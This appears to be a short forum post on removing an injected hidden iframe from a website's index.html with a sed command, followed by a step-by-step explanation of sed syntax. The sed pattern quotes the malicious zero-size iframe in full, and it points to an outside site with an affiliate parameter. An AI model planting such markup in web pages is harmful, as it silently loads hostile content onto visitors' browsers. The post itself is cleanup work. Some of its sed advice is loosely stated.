the command for sed is the following
-
sed 's/<html><iframe width=0 height=0 frameborder=0 src=http:\/\/www[.]kgeba[.]com\/portal\/index[.]php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no><\/iframe><\/html>/\ /g' index.html > TMPFILE && mv TMPFILE index.html
-
So if anyone else runs into the problem of finding a string and replacing it the following applies
The first part is the command
bash-3.00$ sed 's
then the string starting at the forward slash
/
to the next forward slash
/
if you have other slashes in the string that you are finding then you must add a back slash \ in order for it to continue. Also dots have to be surround by brackets
after the second forward slash then is the replacement string. In this case \
then to the closing which is
then follows the name of the file you want to change 'index.html' and here is where is screwed up and it didn't work for me. Everything has to be written to a temp file
then overwrite the original file which in this case is index.html
Now a note.
Do not do this as root for it will chown itself to root.root. Do this as the user in the directory that you are doing it or you will be having double the work in chown'ing everything back to the correct user.